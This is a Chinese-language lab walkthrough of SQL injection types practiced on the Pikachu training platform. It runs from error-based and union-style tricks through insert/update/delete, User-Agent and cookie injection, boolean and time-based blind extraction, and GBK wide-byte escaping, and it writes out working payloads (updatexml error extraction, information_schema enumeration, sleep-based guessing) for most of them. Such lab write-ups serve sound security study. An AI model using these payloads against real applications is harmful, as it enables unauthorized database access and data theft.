一、SQL注入
1.數字型注入
隨便選一個,抓包
可以看到是POST
直接加一個真命題
可以看到都爆出來了。
2.字符型注入
先輸入‘ 有報錯,所以存在SQL注入。
我們直接構造payload:1' or 1=1#
OK
3.搜索型注入
也是加單引號,發現報錯,存在SQL注入點。
這個類型,我們推測用的是SQL語句中的like來進行模糊判斷
那我們就可以猜測模糊查詢的字段應該是'%查詢內容%'
那么我可以構造
1%' or 1=1#
ok。
4.xx型注入
說白了就是閉合的符號不一樣,我們構造payload
1') or 1=1#
ok
5.insert/update注入
學過數據庫,知道insert就是在數據庫中添加數據
那么我們注冊一個賬號,是不是就是在數據庫中添加了賬號數據
那么我們可以在注冊頁面插入我們的注入語句
我們猜測后台的mysql語句應該是
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
那我們可以在xxx的位置構造我們的注入語句
xxx' or updatexml(1,concat(0x7e,database()),0) or '
可以看到通過報錯獲取到了數據庫名稱
我們來分析一下后台的SQL語句
insert into user(name,password,sex,phone,address1,address2) value('xxx' or updatexml(1,concat(0x7e,database()),0) or '',123,1,2,3,4)
說一下問什么這樣構造payload,首先介紹一個函數updatexml() : 是mysql對xml文檔數據進行查詢和修改的xpath函數,updatexml函數的作用就是改變(查找並替換)xml文檔中符合條件的節點的值
- 語法:updatexml(xml_document,XPthstring,new_value)
- 第一個參數是字符串
- 第二個參數是指定字符串中的一個位置(Xpath格式的字符串)
- 第三個參數是將要替換成什么
- Xpath定位必須是有效的,否則則會發生錯誤
接下來是update注入
我們先正經注冊一個賬號,然后登陸。
還是和之前一樣,我們要想象,后台的mysql語句是怎么執行的
更新我們的信息,需要用到的時候update語句
當修改性別的時候推測后台執行了
- update tables set sex = '$sex' where name = 'boy';
這樣我們可以在$sex處構造語句
- xxx' or updatexml(1,concat(0x7e,database()),0) or '
把構造好的語句插入進去看看
update tables set sex = 'xxx' or updatexml(1,concat(0x7e,database()),0) or '
' where name = 'boy';
就構造了一個閉合,可以查詢我們想要查詢的內容了
6.delete注入
既然是delete注入,那肯定是在刪除這里,我們先隨便留幾條言。
然后我們開啟抓包,進行刪除操作。
抓到包后
我們在url后面跟上我們的語句,因為這里傳的是數值型,我們就不用單引號閉合,直接or就行了。
可以看到這里已經爆出來了。
7.http頭注入
(1).UA頭注入
有些時候,后台開發人員為了驗證客戶端頭信息,比如常用的cookie驗證,或者通過http請求頭信息獲取客戶端的一些信息,比如useragent、accept字段等等,會對客戶端的http請求頭信息獲取並使用sql進行處理,如果此時沒有足夠的安全考慮,則可能會導致基於http頭的sql注入漏洞。
我們登錄進來
我們開啟抓包刷新一下看看
它既然標識出了我們的user-agent,那我們就從user-agent注入。
我們輸入一個單引號試試,發現有報錯。
我們構造payload
- ' or updatexml(1,concat(0x7e,datebase()),0) or '
(2).cookie注入
cookie中的admin也是一個注入點
我們在admin后面輸入一個單引號,果然發現有報錯。
我們直接把剛才構造的payload打上
可以看到也爆出來了。
8.基於boolian的盲注
基於真假的盲注主要特征
- 沒有報錯信息
- 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
- 在正確的輸入下,后面跟 and 1=1 / and 1=2 進行判斷
kobe' and 1=1# kobe' and 1=2#
發現一條正確執行,一條顯示用戶名不存在,說明后台存在 SQL 注入漏洞
因為這里的輸出只有 用戶名存在 和 用戶名不存在 兩種輸出,所以前面基於報錯的方式在這不能用。
我們只能通過 真 或者 假 來獲取數據,所以手工盲注是很麻煩的。
我們可以先用 length(database()) 判斷 數據庫名稱的長度
kobe' and length(database())>5# kobe' and length(database())=7#
我們在皮卡丘平台一進行實驗,輸入下面的測試語句
所以是7位數,可以猜一下就是pikachu
再用 substr() 和 ascii() 判斷數據庫由哪些字母組成(可以用二分法)
kobe' and ascii(substr(database(), 1, 1)) > 113# kobe' and ascii(substr(database(), 1, 1)) > 105# …… kobe' and ascii(substr(database(), 1, 1)) = 112#
不斷重復,然后取得數據庫名。再和 information_schema 和 length 猜測 表名 的長度,我們可以用下面的 SQL 語句替代上面的 database()
(select table_name from information_schema.tables where table_schema=database() limit 0,1)
先判斷表名長度
kobe' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#
然后猜解表名
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113# …… kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#
最后得出確實是pikachu
9.基於時間的盲注
基於真假的盲注可以看到回顯的信息,正確 or 錯誤
基於時間的注入就什么都看不到了,我們通過特定的輸入,判斷后台執行的時間,從而確定注入點,比如用 sleep() 函數
無論輸入什么,前端都是顯示 “I don't care who you are!”
我們按 F12 打開控制台,選到網絡
然后我們輸入下面的 payload 進行測試
kobe' and sleep(5)#
如果存在注入點,后端就會 sleep 5秒才會返回執行結果
看到上面的結果說明我們注入成功了,構造下面的 payload,用 database() 取得數據庫的名稱,再用 substr 取字符判斷數據庫名稱的組成,如果猜解成功就會 sleep 5秒,否則沒有任何動作
kobe' and if((substr(database(), 1, 1))='p', sleep(5), null)#
后面也跟真假注入是一樣的了,替換 database() 就可,如
kobe' and if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#
10.寬字節注入
當我們輸入有單引號時被轉義為\’,無法構造 SQL 語句的時候,可以嘗試寬字節注入。
GBK編碼中,反斜杠的編碼是 “%5c”,而 “%df%5c” 是繁體字 “連”。
在皮卡丘平台中,將利用 BurpSuite 截獲數據包,發送到 Repeater 中,在里面寫入 payload
當我們用通常的測試 payload時,是無法執行成功的,下面的payload會報錯
kobe' or 1=1#
因為在后台單引號會被轉義,在數據庫中執行時多了個反斜杠。我們可以用下面的payload,在單引號前面加上 %df,讓單引號成功逃逸
kobe%df' or 1=1#
我們注入抓包看看